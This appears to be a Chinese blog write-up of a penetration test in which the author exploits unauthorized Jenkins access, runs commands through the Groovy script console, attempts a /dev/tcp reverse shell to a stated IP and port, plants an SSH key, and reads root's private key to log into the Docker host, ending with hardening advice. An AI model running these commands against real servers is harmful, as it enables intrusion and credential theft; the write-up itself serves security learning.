zoukankan      html  css  js  c++  java
  • 利用Jenkins未授权获取服务器权限--Docker还来干扰--一次渗透的经历

    Jenkins获取权限的过程



    Jenkins存在未授权访问漏洞


    Jenkins存在未授权访问漏洞,且项目具有读取权限,通过项目的日志获取到一个账号密码,尝试登录成功,打开控制台成功。

    执行命令尝试反弹shell


    在对话框中尝试反弹shell,本地NC监听中,发行不行,尝试ping回来,发现网络不通,随即希望正想shell

    println 'bash -i >& /dev/tcp/192.168.100.2/4444 0>&1'.execute().text
    

    尝试正向shell


    尝试绑定shell

    首先确定系统有的命令和账号权限

    println 'id'.execute().text
    println 'whoami'.execute().text
    println 'ls -l /usr/bin/'.execute().text
    

    发现root权限,curl和wget都有,git也有(jenkins肯定有),尝试互联网访问是否可达

    println 'curl -v https://www.baidu.com'.execute().text
    

    开始下载正向绑定shell的脚本运行失败。

    尝试上传自己的公钥

    随即传上去自己的公钥,尝试ssh登录失败

    println 'echo 公钥内容 >> /root/.ssh/authroized_keys'.execute().text
    

    本地主机登录ssh失败

    ssh -i 私钥 a.b.c.d
    

    查看.ssh目录发现已有的私钥

    经过大牛指点,继续尝试搜索主机

    println 'ls /root/.ssh/'.execute().text
    println 'cat /root/.ssh/id_rsa'.execute().text()
    

    保存在本地私钥,尝试登录成功

    ssh -i id_rsa a.b.c.d
    

    Docker的干扰



    登上去之后查看失败原因:

    原来服务是Docker起的,我绑定的正向shell监听的端口也好,上传的自己的公钥也好都在docker里,而我尝试登录的是宿主机,所以一直有问题,而最后的成功,也是因为docker和宿主机使用了同一套公私钥

    安全建议



    • 1、不要配置Jenkinis匿名登录(未登录状态)有任何权限包括读取权限也不行;

    • 2、不要使用弱口令;

    • 3、docker打包时候检查,宿主机环境也要检查,不使用没有key的秘钥,公私钥不要存放在一起,docker和宿主机不要使用同一套公私钥;

  • 相关阅读:
    设计模式--22、状态模式
    设计模式--21、备忘录模式
    设计模式--20、迭代器模式
    关于分布式事务、两阶段提交协议、三阶提交协议
    分布式系统的一致性探讨
    分布式系统的BASE理论
    分布式系统的CAP理论
    Kafka集群环境搭建
    Elasticsearch插件head的安装(有坑)
    centos6 x64安装elasticsearch5.5.2启动报错
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/9469270.html
Copyright © 2011-2022 走看看